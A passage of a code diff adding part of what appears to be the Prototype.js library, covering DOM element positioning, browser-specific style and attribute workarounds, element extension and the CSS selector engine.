+    if (element._overflow) return element;
+    element._overflow = Element.getStyle(element, 'overflow') || 'auto';
+    if (element._overflow !== 'hidden')
+      element.style.overflow = 'hidden';
+    return element;
+  },
+
+  undoClipping: function(element) {
+    element = $(element);
+    if (!element._overflow) return element;
+    element.style.overflow = element._overflow == 'auto' ? '' : element._overflow;
+    element._overflow = null;
+    return element;
+  },
+
+  cumulativeOffset: function(element) {
+    var valueT = 0, valueL = 0;
+    do {
+      valueT += element.offsetTop  || 0;
+      valueL += element.offsetLeft || 0;
+      element = element.offsetParent;
+    } while (element);
+    return Element._returnOffset(valueL, valueT);
+  },
+
+  positionedOffset: function(element) {
+    var valueT = 0, valueL = 0;
+    do {
+      valueT += element.offsetTop  || 0;
+      valueL += element.offsetLeft || 0;
+      element = element.offsetParent;
+      if (element) {
+        if (element.tagName == 'BODY') break;
+        var p = Element.getStyle(element, 'position');
+        if (p !== 'static') break;
+      }
+    } while (element);
+    return Element._returnOffset(valueL, valueT);
+  },
+
+  absolutize: function(element) {
+    element = $(element);
+    if (element.getStyle('position') == 'absolute') return;
+    // Position.prepare(); // To be done manually by Scripty when it needs it.
+
+    var offsets = element.positionedOffset();
+    var top     = offsets[1];
+    var left    = offsets[0];
+    var width   = element.clientWidth;
+    var height  = element.clientHeight;
+
+    element._originalLeft   = left - parseFloat(element.style.left  || 0);
+    element._originalTop    = top  - parseFloat(element.style.top || 0);
+    element._originalWidth  = element.style.width;
+    element._originalHeight = element.style.height;
+
+    element.style.position = 'absolute';
+    element.style.top    = top + 'px';
+    element.style.left   = left + 'px';
+    element.style.width  = width + 'px';
+    element.style.height = height + 'px';
+    return element;
+  },
+
+  relativize: function(element) {
+    element = $(element);
+    if (element.getStyle('position') == 'relative') return;
+    // Position.prepare(); // To be done manually by Scripty when it needs it.
+
+    element.style.position = 'relative';
+    var top  = parseFloat(element.style.top  || 0) - (element._originalTop || 0);
+    var left = parseFloat(element.style.left || 0) - (element._originalLeft || 0);
+
+    element.style.top    = top + 'px';
+    element.style.left   = left + 'px';
+    element.style.height = element._originalHeight;
+    element.style.width  = element._originalWidth;
+    return element;
+  },
+
+  cumulativeScrollOffset: function(element) {
+    var valueT = 0, valueL = 0;
+    do {
+      valueT += element.scrollTop  || 0;
+      valueL += element.scrollLeft || 0;
+      element = element.parentNode;
+    } while (element);
+    return Element._returnOffset(valueL, valueT);
+  },
+
+  getOffsetParent: function(element) {
+    if (element.offsetParent) return $(element.offsetParent);
+    if (element == document.body) return $(element);
+
+    while ((element = element.parentNode) && element != document.body)
+      if (Element.getStyle(element, 'position') != 'static')
+        return $(element);
+
+    return $(document.body);
+  },
+
+  viewportOffset: function(forElement) {
+    var valueT = 0, valueL = 0;
+
+    var element = forElement;
+    do {
+      valueT += element.offsetTop  || 0;
+      valueL += element.offsetLeft || 0;
+
+      // Safari fix
+      if (element.offsetParent == document.body &&
+        Element.getStyle(element, 'position') == 'absolute') break;
+
+    } while (element = element.offsetParent);
+
+    element = forElement;
+    do {
+      if (!Prototype.Browser.Opera || element.tagName == 'BODY') {
+        valueT -= element.scrollTop  || 0;
+        valueL -= element.scrollLeft || 0;
+      }
+    } while (element = element.parentNode);
+
+    return Element._returnOffset(valueL, valueT);
+  },
+
+  clonePosition: function(element, source) {
+    var options = Object.extend({
+      setLeft:    true,
+      setTop:     true,
+      setWidth:   true,
+      setHeight:  true,
+      offsetTop:  0,
+      offsetLeft: 0
+    }, arguments[2] || { });
+
+    // find page position of source
+    source = $(source);
+    var p = source.viewportOffset();
+
+    // find coordinate system to use
+    element = $(element);
+    var delta = [0, 0];
+    var parent = null;
+    // delta [0,0] will do fine with position: fixed elements,
+    // position:absolute needs offsetParent deltas
+    if (Element.getStyle(element, 'position') == 'absolute') {
+      parent = element.getOffsetParent();
+      delta = parent.viewportOffset();
+    }
+
+    // correct by body offsets (fixes Safari)
+    if (parent == document.body) {
+      delta[0] -= document.body.offsetLeft;
+      delta[1] -= document.body.offsetTop;
+    }
+
+    // set position
+    if (options.setLeft)   element.style.left  = (p[0] - delta[0] + options.offsetLeft) + 'px';
+    if (options.setTop)    element.style.top   = (p[1] - delta[1] + options.offsetTop) + 'px';
+    if (options.setWidth)  element.style.width = source.offsetWidth + 'px';
+    if (options.setHeight) element.style.height = source.offsetHeight + 'px';
+    return element;
+  }
+};
+
+Element.Methods.identify.counter = 1;
+
+Object.extend(Element.Methods, {
+  getElementsBySelector: Element.Methods.select,
+  childElements: Element.Methods.immediateDescendants
+});
+
+Element._attributeTranslations = {
+  write: {
+    names: {
+      className: 'class',
+      htmlFor:   'for'
+    },
+    values: { }
+  }
+};
+
+if (Prototype.Browser.Opera) {
+  Element.Methods.getStyle = Element.Methods.getStyle.wrap(
+    function(proceed, element, style) {
+      switch (style) {
+        case 'left': case 'top': case 'right': case 'bottom':
+          if (proceed(element, 'position') === 'static') return null;
+        case 'height': case 'width':
+          // returns '0px' for hidden elements; we want it to return null
+          if (!Element.visible(element)) return null;
+
+          // returns the border-box dimensions rather than the content-box
+          // dimensions, so we subtract padding and borders from the value
+          var dim = parseInt(proceed(element, style), 10);
+
+          if (dim !== element['offset' + style.capitalize()])
+            return dim + 'px';
+
+          var properties;
+          if (style === 'height') {
+            properties = ['border-top-width', 'padding-top',
+             'padding-bottom', 'border-bottom-width'];
+          }
+          else {
+            properties = ['border-left-width', 'padding-left',
+             'padding-right', 'border-right-width'];
+          }
+          return properties.inject(dim, function(memo, property) {
+            var val = proceed(element, property);
+            return val === null ? memo : memo - parseInt(val, 10);
+          }) + 'px';
+        default: return proceed(element, style);
+      }
+    }
+  );
+
+  Element.Methods.readAttribute = Element.Methods.readAttribute.wrap(
+    function(proceed, element, attribute) {
+      if (attribute === 'title') return element.title;
+      return proceed(element, attribute);
+    }
+  );
+}
+
+else if (Prototype.Browser.IE) {
+  // IE doesn't report offsets correctly for static elements, so we change them
+  // to "relative" to get the values, then change them back.
+  Element.Methods.getOffsetParent = Element.Methods.getOffsetParent.wrap(
+    function(proceed, element) {
+      element = $(element);
+      var position = element.getStyle('position');
+      if (position !== 'static') return proceed(element);
+      element.setStyle({ position: 'relative' });
+      var value = proceed(element);
+      element.setStyle({ position: position });
+      return value;
+    }
+  );
+
+  $w('positionedOffset viewportOffset').each(function(method) {
+    Element.Methods[method] = Element.Methods[method].wrap(
+      function(proceed, element) {
+        element = $(element);
+        var position = element.getStyle('position');
+        if (position !== 'static') return proceed(element);
+        // Trigger hasLayout on the offset parent so that IE6 reports
+        // accurate offsetTop and offsetLeft values for position: fixed.
+        var offsetParent = element.getOffsetParent();
+        if (offsetParent && offsetParent.getStyle('position') === 'fixed')
+          offsetParent.setStyle({ zoom: 1 });
+        element.setStyle({ position: 'relative' });
+        var value = proceed(element);
+        element.setStyle({ position: position });
+        return value;
+      }
+    );
+  });
+
+  Element.Methods.getStyle = function(element, style) {
+    element = $(element);
+    style = (style == 'float' || style == 'cssFloat') ? 'styleFloat' : style.camelize();
+    var value = element.style[style];
+    if (!value && element.currentStyle) value = element.currentStyle[style];
+
+    if (style == 'opacity') {
+      if (value = (element.getStyle('filter') || '').match(/alpha\(opacity=(.*)\)/))
+        if (value[1]) return parseFloat(value[1]) / 100;
+      return 1.0;
+    }
+
+    if (value == 'auto') {
+      if ((style == 'width' || style == 'height') && (element.getStyle('display') != 'none'))
+        return element['offset' + style.capitalize()] + 'px';
+      return null;
+    }
+    return value;
+  };
+
+  Element.Methods.setOpacity = function(element, value) {
+    function stripAlpha(filter){
+      return filter.replace(/alpha\([^\)]*\)/gi,'');
+    }
+    element = $(element);
+    var currentStyle = element.currentStyle;
+    if ((currentStyle && !currentStyle.hasLayout) ||
+      (!currentStyle && element.style.zoom == 'normal'))
+        element.style.zoom = 1;
+
+    var filter = element.getStyle('filter'), style = element.style;
+    if (value == 1 || value === '') {
+      (filter = stripAlpha(filter)) ?
+        style.filter = filter : style.removeAttribute('filter');
+      return element;
+    } else if (value < 0.00001) value = 0;
+    style.filter = stripAlpha(filter) +
+      'alpha(opacity=' + (value * 100) + ')';
+    return element;
+  };
+
+  Element._attributeTranslations = {
+    read: {
+      names: {
+        'class': 'className',
+        'for':   'htmlFor'
+      },
+      values: {
+        _getAttr: function(element, attribute) {
+          return element.getAttribute(attribute, 2);
+        },
+        _getAttrNode: function(element, attribute) {
+          var node = element.getAttributeNode(attribute);
+          return node ? node.value : "";
+        },
+        _getEv: function(element, attribute) {
+          attribute = element.getAttribute(attribute);
+          return attribute ? attribute.toString().slice(23, -2) : null;
+        },
+        _flag: function(element, attribute) {
+          return $(element).hasAttribute(attribute) ? attribute : null;
+        },
+        style: function(element) {
+          return element.style.cssText.toLowerCase();
+        },
+        title: function(element) {
+          return element.title;
+        }
+      }
+    }
+  };
+
+  Element._attributeTranslations.write = {
+    names: Object.extend({
+      cellpadding: 'cellPadding',
+      cellspacing: 'cellSpacing'
+    }, Element._attributeTranslations.read.names),
+    values: {
+      checked: function(element, value) {
+        element.checked = !!value;
+      },
+
+      style: function(element, value) {
+        element.style.cssText = value ? value : '';
+      }
+    }
+  };
+
+  Element._attributeTranslations.has = {};
+
+  $w('colSpan rowSpan vAlign dateTime accessKey tabIndex ' +
+      'encType maxLength readOnly longDesc').each(function(attr) {
+    Element._attributeTranslations.write.names[attr.toLowerCase()] = attr;
+    Element._attributeTranslations.has[attr.toLowerCase()] = attr;
+  });
+
+  (function(v) {
+    Object.extend(v, {
+      href:        v._getAttr,
+      src:         v._getAttr,
+      type:        v._getAttr,
+      action:      v._getAttrNode,
+      disabled:    v._flag,
+      checked:     v._flag,
+      readonly:    v._flag,
+      multiple:    v._flag,
+      onload:      v._getEv,
+      onunload:    v._getEv,
+      onclick:     v._getEv,
+      ondblclick:  v._getEv,
+      onmousedown: v._getEv,
+      onmouseup:   v._getEv,
+      onmouseover: v._getEv,
+      onmousemove: v._getEv,
+      onmouseout:  v._getEv,
+      onfocus:     v._getEv,
+      onblur:      v._getEv,
+      onkeypress:  v._getEv,
+      onkeydown:   v._getEv,
+      onkeyup:     v._getEv,
+      onsubmit:    v._getEv,
+      onreset:     v._getEv,
+      onselect:    v._getEv,
+      onchange:    v._getEv
+    });
+  })(Element._attributeTranslations.read.values);
+}
+
+else if (Prototype.Browser.Gecko && /rv:1\.8\.0/.test(navigator.userAgent)) {
+  Element.Methods.setOpacity = function(element, value) {
+    element = $(element);
+    element.style.opacity = (value == 1) ? 0.999999 :
+      (value === '') ? '' : (value < 0.00001) ? 0 : value;
+    return element;
+  };
+}
+
+else if (Prototype.Browser.WebKit) {
+  Element.Methods.setOpacity = function(element, value) {
+    element = $(element);
+    element.style.opacity = (value == 1 || value === '') ? '' :
+      (value < 0.00001) ? 0 : value;
+
+    if (value == 1)
+      if(element.tagName == 'IMG' && element.width) {
+        element.width++; element.width--;
+      } else try {
+        var n = document.createTextNode(' ');
+        element.appendChild(n);
+        element.removeChild(n);
+      } catch (e) { }
+
+    return element;
+  };
+
+  // Safari returns margins on body which is incorrect if the child is absolutely
+  // positioned.  For performance reasons, redefine Element#cumulativeOffset for
+  // KHTML/WebKit only.
+  Element.Methods.cumulativeOffset = function(element) {
+    var valueT = 0, valueL = 0;
+    do {
+      valueT += element.offsetTop  || 0;
+      valueL += element.offsetLeft || 0;
+      if (element.offsetParent == document.body)
+        if (Element.getStyle(element, 'position') == 'absolute') break;
+
+      element = element.offsetParent;
+    } while (element);
+
+    return Element._returnOffset(valueL, valueT);
+  };
+}
+
+if (Prototype.Browser.IE || Prototype.Browser.Opera) {
+  // IE and Opera are missing .innerHTML support for TABLE-related and SELECT elements
+  Element.Methods.update = function(element, content) {
+    element = $(element);
+
+    if (content && content.toElement) content = content.toElement();
+    if (Object.isElement(content)) return element.update().insert(content);
+
+    content = Object.toHTML(content);
+    var tagName = element.tagName.toUpperCase();
+
+    if (tagName in Element._insertionTranslations.tags) {
+      $A(element.childNodes).each(function(node) { element.removeChild(node) });
+      Element._getContentFromAnonymousElement(tagName, content.stripScripts())
+        .each(function(node) { element.appendChild(node) });
+    }
+    else element.innerHTML = content.stripScripts();
+
+    content.evalScripts.bind(content).defer();
+    return element;
+  };
+}
+
+if ('outerHTML' in document.createElement('div')) {
+  Element.Methods.replace = function(element, content) {
+    element = $(element);
+
+    if (content && content.toElement) content = content.toElement();
+    if (Object.isElement(content)) {
+      element.parentNode.replaceChild(content, element);
+      return element;
+    }
+
+    content = Object.toHTML(content);
+    var parent = element.parentNode, tagName = parent.tagName.toUpperCase();
+
+    if (Element._insertionTranslations.tags[tagName]) {
+      var nextSibling = element.next();
+      var fragments = Element._getContentFromAnonymousElement(tagName, content.stripScripts());
+      parent.removeChild(element);
+      if (nextSibling)
+        fragments.each(function(node) { parent.insertBefore(node, nextSibling) });
+      else
+        fragments.each(function(node) { parent.appendChild(node) });
+    }
+    else element.outerHTML = content.stripScripts();
+
+    content.evalScripts.bind(content).defer();
+    return element;
+  };
+}
+
+Element._returnOffset = function(l, t) {
+  var result = [l, t];
+  result.left = l;
+  result.top = t;
+  return result;
+};
+
+Element._getContentFromAnonymousElement = function(tagName, html) {
+  var div = new Element('div'), t = Element._insertionTranslations.tags[tagName];
+  if (t) {
+    div.innerHTML = t[0] + html + t[1];
+    t[2].times(function() { div = div.firstChild });
+  } else div.innerHTML = html;
+  return $A(div.childNodes);
+};
+
+Element._insertionTranslations = {
+  before: function(element, node) {
+    element.parentNode.insertBefore(node, element);
+  },
+  top: function(element, node) {
+    element.insertBefore(node, element.firstChild);
+  },
+  bottom: function(element, node) {
+    element.appendChild(node);
+  },
+  after: function(element, node) {
+    element.parentNode.insertBefore(node, element.nextSibling);
+  },
+  tags: {
+    TABLE:  ['<table>',                '</table>',                   1],
+    TBODY:  ['<table><tbody>',         '</tbody></table>',           2],
+    TR:     ['<table><tbody><tr>',     '</tr></tbody></table>',      3],
+    TD:     ['<table><tbody><tr><td>', '</td></tr></tbody></table>', 4],
+    SELECT: ['<select>',               '</select>',                  1]
+  }
+};
+
+(function() {
+  Object.extend(this.tags, {
+    THEAD: this.tags.TBODY,
+    TFOOT: this.tags.TBODY,
+    TH:    this.tags.TD
+  });
+}).call(Element._insertionTranslations);
+
+Element.Methods.Simulated = {
+  hasAttribute: function(element, attribute) {
+    attribute = Element._attributeTranslations.has[attribute] || attribute;
+    var node = $(element).getAttributeNode(attribute);
+    return node && node.specified;
+  }
+};
+
+Element.Methods.ByTag = { };
+
+Object.extend(Element, Element.Methods);
+
+if (!Prototype.BrowserFeatures.ElementExtensions &&
+    document.createElement('div').__proto__) {
+  window.HTMLElement = { };
+  window.HTMLElement.prototype = document.createElement('div').__proto__;
+  Prototype.BrowserFeatures.ElementExtensions = true;
+}
+
+Element.extend = (function() {
+  if (Prototype.BrowserFeatures.SpecificElementExtensions)
+    return Prototype.K;
+
+  var Methods = { }, ByTag = Element.Methods.ByTag;
+
+  var extend = Object.extend(function(element) {
+    if (!element || element._extendedByPrototype ||
+        element.nodeType != 1 || element == window) return element;
+
+    var methods = Object.clone(Methods),
+      tagName = element.tagName, property, value;
+
+    // extend methods for specific tags
+    if (ByTag[tagName]) Object.extend(methods, ByTag[tagName]);
+
+    for (property in methods) {
+      value = methods[property];
+      if (Object.isFunction(value) && !(property in element))
+        element[property] = value.methodize();
+    }
+
+    element._extendedByPrototype = Prototype.emptyFunction;
+    return element;
+
+  }, {
+    refresh: function() {
+      // extend methods for all tags (Safari doesn't need this)
+      if (!Prototype.BrowserFeatures.ElementExtensions) {
+        Object.extend(Methods, Element.Methods);
+        Object.extend(Methods, Element.Methods.Simulated);
+      }
+    }
+  });
+
+  extend.refresh();
+  return extend;
+})();
+
+Element.hasAttribute = function(element, attribute) {
+  if (element.hasAttribute) return element.hasAttribute(attribute);
+  return Element.Methods.Simulated.hasAttribute(element, attribute);
+};
+
+Element.addMethods = function(methods) {
+  var F = Prototype.BrowserFeatures, T = Element.Methods.ByTag;
+
+  if (!methods) {
+    Object.extend(Form, Form.Methods);
+    Object.extend(Form.Element, Form.Element.Methods);
+    Object.extend(Element.Methods.ByTag, {
+      "FORM":     Object.clone(Form.Methods),
+      "INPUT":    Object.clone(Form.Element.Methods),
+      "SELECT":   Object.clone(Form.Element.Methods),
+      "TEXTAREA": Object.clone(Form.Element.Methods)
+    });
+  }
+
+  if (arguments.length == 2) {
+    var tagName = methods;
+    methods = arguments[1];
+  }
+
+  if (!tagName) Object.extend(Element.Methods, methods || { });
+  else {
+    if (Object.isArray(tagName)) tagName.each(extend);
+    else extend(tagName);
+  }
+
+  function extend(tagName) {
+    tagName = tagName.toUpperCase();
+    if (!Element.Methods.ByTag[tagName])
+      Element.Methods.ByTag[tagName] = { };
+    Object.extend(Element.Methods.ByTag[tagName], methods);
+  }
+
+  function copy(methods, destination, onlyIfAbsent) {
+    onlyIfAbsent = onlyIfAbsent || false;
+    for (var property in methods) {
+      var value = methods[property];
+      if (!Object.isFunction(value)) continue;
+      if (!onlyIfAbsent || !(property in destination))
+        destination[property] = value.methodize();
+    }
+  }
+
+  function findDOMClass(tagName) {
+    var klass;
+    var trans = {
+      "OPTGROUP": "OptGroup", "TEXTAREA": "TextArea", "P": "Paragraph",
+      "FIELDSET": "FieldSet", "UL": "UList", "OL": "OList", "DL": "DList",
+      "DIR": "Directory", "H1": "Heading", "H2": "Heading", "H3": "Heading",
+      "H4": "Heading", "H5": "Heading", "H6": "Heading", "Q": "Quote",
+      "INS": "Mod", "DEL": "Mod", "A": "Anchor", "IMG": "Image", "CAPTION":
+      "TableCaption", "COL": "TableCol", "COLGROUP": "TableCol", "THEAD":
+      "TableSection", "TFOOT": "TableSection", "TBODY": "TableSection", "TR":
+      "TableRow", "TH": "TableCell", "TD": "TableCell", "FRAMESET":
+      "FrameSet", "IFRAME": "IFrame"
+    };
+    if (trans[tagName]) klass = 'HTML' + trans[tagName] + 'Element';
+    if (window[klass]) return window[klass];
+    klass = 'HTML' + tagName + 'Element';
+    if (window[klass]) return window[klass];
+    klass = 'HTML' + tagName.capitalize() + 'Element';
+    if (window[klass]) return window[klass];
+
+    window[klass] = { };
+    window[klass].prototype = document.createElement(tagName).__proto__;
+    return window[klass];
+  }
+
+  if (F.ElementExtensions) {
+    copy(Element.Methods, HTMLElement.prototype);
+    copy(Element.Methods.Simulated, HTMLElement.prototype, true);
+  }
+
+  if (F.SpecificElementExtensions) {
+    for (var tag in Element.Methods.ByTag) {
+      var klass = findDOMClass(tag);
+      if (Object.isUndefined(klass)) continue;
+      copy(T[tag], klass.prototype);
+    }
+  }
+
+  Object.extend(Element, Element.Methods);
+  delete Element.ByTag;
+
+  if (Element.extend.refresh) Element.extend.refresh();
+  Element.cache = { };
+};
+
+document.viewport = {
+  getDimensions: function() {
+    var dimensions = { };
+    var B = Prototype.Browser;
+    $w('width height').each(function(d) {
+      var D = d.capitalize();
+      dimensions[d] = (B.WebKit && !document.evaluate) ? self['inner' + D] :
+        (B.Opera) ? document.body['client' + D] : document.documentElement['client' + D];
+    });
+    return dimensions;
+  },
+
+  getWidth: function() {
+    return this.getDimensions().width;
+  },
+
+  getHeight: function() {
+    return this.getDimensions().height;
+  },
+
+  getScrollOffsets: function() {
+    return Element._returnOffset(
+      window.pageXOffset || document.documentElement.scrollLeft || document.body.scrollLeft,
+      window.pageYOffset || document.documentElement.scrollTop || document.body.scrollTop);
+  }
+};
+/* Portions of the Selector class are derived from Jack SlocumÃ¢â¬â¢s DomQuery,
+ * part of YUI-Ext version 0.40, distributed under the terms of an MIT-style
+ * license.  Please see http://www.yui-ext.com/ for more information. */
+
+var Selector = Class.create({
+  initialize: function(expression) {
+    this.expression = expression.strip();
+    this.compileMatcher();
+  },
+
+  shouldUseXPath: function() {
+    if (!Prototype.BrowserFeatures.XPath) return false;
+
+    var e = this.expression;
+
+    // Safari 3 chokes on :*-of-type and :empty
+    if (Prototype.Browser.WebKit &&
+     (e.include("-of-type") || e.include(":empty")))
+      return false;
+
+    // XPath can't do namespaced attributes, nor can it read
+    // the "checked" property from DOM nodes
+    if ((/(\[[\w-]*?:|:checked)/).test(this.expression))
+      return false;
+
+    return true;
+  },
+
+  compileMatcher: function() {
+    if (this.shouldUseXPath())
+      return this.compileXPathMatcher();
+
+    var e = this.expression, ps = Selector.patterns, h = Selector.handlers,
+        c = Selector.criteria, le, p, m;
+
+    if (Selector._cache[e]) {
+      this.matcher = Selector._cache[e];
+      return;
+    }
+
+    this.matcher = ["this.matcher = function(root) {",
+                    "var r = root, h = Selector.handlers, c = false, n;"];
+
+    while (e && le != e && (/\S/).test(e)) {
+      le = e;
+      for (var i in ps) {
+        p = ps[i];
+        if (m = e.match(p)) {
+          this.matcher.push(Object.isFunction(c[i]) ? c[i](m) :
+    	      new Template(c[i]).evaluate(m));
+          e = e.replace(m[0], '');
+          break;
+        }
+      }
+    }
+
+    this.matcher.push("return h.unique(n);\n}");
+    eval(this.matcher.join('\n'));
+    Selector._cache[this.expression] = this.matcher;
+  },
+
+  compileXPathMatcher: function() {
+    var e = this.expression, ps = Selector.patterns,
+        x = Selector.xpath, le, m;
+
+    if (Selector._cache[e]) {
+      this.xpath = Selector._cache[e]; return;
+    }
+
+    this.matcher = ['.//*'];
+    while (e && le != e && (/\S/).test(e)) {
+      le = e;
+      for (var i in ps) {
+        if (m = e.match(ps[i])) {
+          this.matcher.push(Object.isFunction(x[i]) ? x[i](m) :
+            new Template(x[i]).evaluate(m));
+          e = e.replace(m[0], '');
+          break;
+        }
+      }
+    }
+
+    this.xpath = this.matcher.join('');
+    Selector._cache[this.expression] = this.xpath;
+  },
+
+  findElements: function(root) {
+    root = root || document;
+    if (this.xpath) return document._getElementsByXPath(this.xpath, root);
+    return this.matcher(root);
+  },
+
+  match: function(element) {
+    this.tokens = [];
+
+    var e = this.expression, ps = Selector.patterns, as = Selector.assertions;
+    var le, p, m;
+
+    while (e && le !== e && (/\S/).test(e)) {
+      le = e;
+      for (var i in ps) {
+        p = ps[i];
+        if (m = e.match(p)) {
+          // use the Selector.assertions methods unless the selector
+          // is too complex.
+          if (as[i]) {
+            this.tokens.push([i, Object.clone(m)]);
+            e = e.replace(m[0], '');
+          } else {
+            // reluctantly do a document-wide search
+            // and look for a match in the array
+            return this.findElements(document).include(element);
+          }
+        }
+      }
+    }
+
+    var match = true, name, matches;
+    for (var i = 0, token; token = this.tokens[i]; i++) {
+      name = token[0], matches = token[1];
+      if (!Selector.assertions[name](element, matches)) {
+        match = false; break;
+      }
+    }
+
+    return match;
+  },
+
+  toString: function() {
+    return this.expression;
+  },
+
+  inspect: function() {
+    return "#<Selector:" + this.expression.inspect() + ">";
+  }
+});
+
+Object.extend(Selector, {
+  _cache: { },
+
+  xpath: {
+    descendant:   "//*",
+    child:        "/*",
+    adjacent:     "/following-sibling::*[1]",
+    laterSibling: '/following-sibling::*',
+    tagName:      function(m) {
+      if (m[1] == '*') return '';
+      return "[local-name()='" + m[1].toLowerCase() +
+             "' or local-name()='" + m[1].toUpperCase() + "']";
+    },
+    className:    "[contains(concat(' ', @class, ' '), ' #{1} ')]",
+    id:           "[@id='#{1}']",
+    attrPresence: function(m) {
+      m[1] = m[1].toLowerCase();
+      return new Template("[@#{1}]").evaluate(m);
+    },
+    attr: function(m) {
+      m[1] = m[1].toLowerCase();
+      m[3] = m[5] || m[6];
+      return new Template(Selector.xpath.operators[m[2]]).evaluate(m);
+    },
+    pseudo: function(m) {
+      var h = Selector.xpath.pseudos[m[1]];
+      if (!h) return '';
+      if (Object.isFunction(h)) return h(m);
+      return new Template(Selector.xpath.pseudos[m[1]]).evaluate(m);
+    },
+    operators: {
+      '=':  "[@#{1}='#{3}']",
+      '!=': "[@#{1}!='#{3}']",
+      '^=': "[starts-with(@#{1}, '#{3}')]",
+      '$=': "[substring(@#{1}, (string-length(@#{1}) - string-length('#{3}') + 1))='#{3}']",
+      '*=': "[contains(@#{1}, '#{3}')]",
+      '~=': "[contains(concat(' ', @#{1}, ' '), ' #{3} ')]",
+      '|=': "[contains(concat('-', @#{1}, '-'), '-#{3}-')]"
+    },
+    pseudos: {
+      'first-child': '[not(preceding-sibling::*)]',
+      'last-child':  '[not(following-sibling::*)]',
+      'only-child':  '[not(preceding-sibling::* or following-sibling::*)]',
+      'empty':       "[count(*) = 0 and (count(text()) = 0 or translate(text(), ' \t\r\n', '') = '')]",
+      'checked':     "[@checked]",
+      'disabled':    "[@disabled]",
+      'enabled':     "[not(@disabled)]",
+      'not': function(m) {
+        var e = m[6], p = Selector.patterns,
+            x = Selector.xpath, le, v;
+
+        var exclusion = [];
+        while (e && le != e && (/\S/).test(e)) {
+          le = e;
+          for (var i in p) {
+            if (m = e.match(p[i])) {
+              v = Object.isFunction(x[i]) ? x[i](m) : new Template(x[i]).evaluate(m);
+              exclusion.push("(" + v.substring(1, v.length - 1) + ")");
+              e = e.replace(m[0], '');
+              break;
+            }
+          }
+        }
+        return "[not(" + exclusion.join(" and ") + ")]";
+      },
+      'nth-child':      function(m) {
+        return Selector.xpath.pseudos.nth("(count(./preceding-sibling::*) + 1) ", m);
+      },
+      'nth-last-child': function(m) {
+        return Selector.xpath.pseudos.nth("(count(./following-sibling::*) + 1) ", m);
+      },
+      'nth-of-type':    function(m) {
+        return Selector.xpath.pseudos.nth("position() ", m);
+      },
+      'nth-last-of-type': function(m) {
+        return Selector.xpath.pseudos.nth("(last() + 1 - position()) ", m);
+      },
+      'first-of-type':  function(m) {
+        m[6] = "1"; return Selector.xpath.pseudos['nth-of-type'](m);
+      },
+      'last-of-type':   function(m) {
+        m[6] = "1"; return Selector.xpath.pseudos['nth-last-of-type'](m);
+      },
+      'only-of-type':   function(m) {
+        var p = Selector.xpath.pseudos; return p['first-of-type'](m) + p['last-of-type'](m);
+      },
+      nth: function(fragment, m) {
+        var mm, formula = m[6], predicate;
+        if (formula == 'even') formula = '2n+0';
+        if (formula == 'odd')  formula = '2n+1';
+        if (mm = formula.match(/^(\d+)$/)) // digit only
+          return '[' + fragment + "= " + mm[1] + ']';
+        if (mm = formula.match(/^(-?\d*)?n(([+-])(\d+))?/)) { // an+b
+          if (mm[1] == "-") mm[1] = -1;
+          var a = mm[1] ? Number(mm[1]) : 1;
+          var b = mm[2] ? Number(mm[2]) : 0;
+          predicate = "[((#{fragment} - #{b}) mod #{a} = 0) and " +
+          "((#{fragment} - #{b}) div #{a} >= 0)]";
+          return new Template(predicate).evaluate({
+            fragment: fragment, a: a, b: b });
+        }
+      }
+    }
+  },
+
+  criteria: {
+    tagName:      'n = h.tagName(n, r, "#{1}", c);      c = false;',
+    className:    'n = h.className(n, r, "#{1}", c);    c = false;',
+    id:           'n = h.id(n, r, "#{1}", c);           c = false;',
+    attrPresence: 'n = h.attrPresence(n, r, "#{1}", c); c = false;',
+    attr: function(m) {
+      m[3] = (m[5] || m[6]);
+      return new Template('n = h.attr(n, r, "#{1}", "#{3}", "#{2}", c); c = false;').evaluate(m);
+    },
+    pseudo: function(m) {
+      if (m[6]) m[6] = m[6].replace(/"/g, '\\"');
+      return new Template('n = h.pseudo(n, "#{1}", "#{6}", r, c); c = false;').evaluate(m);
+    },
+    descendant:   'c = "descendant";',
+    child:        'c = "child";',
+    adjacent:     'c = "adjacent";',
+    laterSibling: 'c = "laterSibling";'
+  },
+
+  patterns: {
+    // combinators must be listed first
+    // (and descendant needs to be last combinator)
+    laterSibling: /^\s*~\s*/,
+    child:        /^\s*>\s*/,
+    adjacent:     /^\s*\+\s*/,
+    descendant:   /^\s/,
+
+    // selectors follow
+    tagName:      /^\s*(\*|[\w\-]+)(\b|$)?/,
+    id:           /^#([\w\-\*]+)(\b|$)/,
+    className:    /^\.([\w\-\*]+)(\b|$)/,
+    pseudo:
+/^:((first|last|nth|nth-last|only)(-child|-of-type)|empty|checked|(en|dis)abled|not)(\((.*?)\))?(\b|$|(?=\s|[:+~>]))/,
+    attrPresence: /^\[([\w]+)\]/,
+    attr:         /\[((?:[\w-]*:)?[\w-]+)\s*(?:([!^$*~|]?=)\s*((['"])([^\4]*?)\4|([^'"][^\]]*?)))?\]/
+  },
+
+  // for Selector.match and Element#match
+  assertions: {
+    tagName: function(element, matches) {
+      return matches[1].toUpperCase() == element.tagName.toUpperCase();
+    },
+
+    className: function(element, matches) {
+      return Element.hasClassName(element, matches[1]);
+    },
+
+    id: function(element, matches) {
+      return element.id === matches[1];
+    },
+
+    attrPresence: function(element, matches) {
+      return Element.hasAttribute(element, matches[1]);
+    },
+
+    attr: function(element, matches) {
+      var nodeValue = Element.readAttribute(element, matches[1]);
+      return nodeValue && Selector.operators[matches[2]](nodeValue, matches[5] || matches[6]);
+    }
+  },
+
+  handlers: {
+    // UTILITY FUNCTIONS
+    // joins two collections
+    concat: function(a, b) {
+      for (var i = 0, node; node = b[i]; i++)
+        a.push(node);
+      return a;
+    },
+
+    // marks an array of nodes for counting
+    mark: function(nodes) {
+      var _true = Prototype.emptyFunction;
+      for (var i = 0, node; node = nodes[i]; i++)
+        node._countedByPrototype = _true;
+      return nodes;
+    },
+
+    unmark: function(nodes) {
+      for (var i = 0, node; node = nodes[i]; i++)
+        node._countedByPrototype = undefined;
+      return nodes;
+    },
+
+    // mark each child node with its position (for nth calls)
+    // "ofType" flag indicates whether we're indexing for nth-of-type
+    // rather than nth-child
+    index: function(parentNode, reverse, ofType) {
+      parentNode._countedByPrototype = Prototype.emptyFunction;
+      if (reverse) {
+        for (var nodes = parentNode.childNodes, i = nodes.length - 1, j = 1; i >= 0; i--) {
+          var node = nodes[i];
+          if (node.nodeType == 1 && (!ofType || node._countedByPrototype)) node.nodeIndex = j++;
+        }
+      } else {
+        for (var i = 0, j = 1, nodes = parentNode.childNodes; node = nodes[i]; i++)
+          if (node.nodeType == 1 && (!ofType || node._countedByPrototype)) node.nodeIndex = j++;
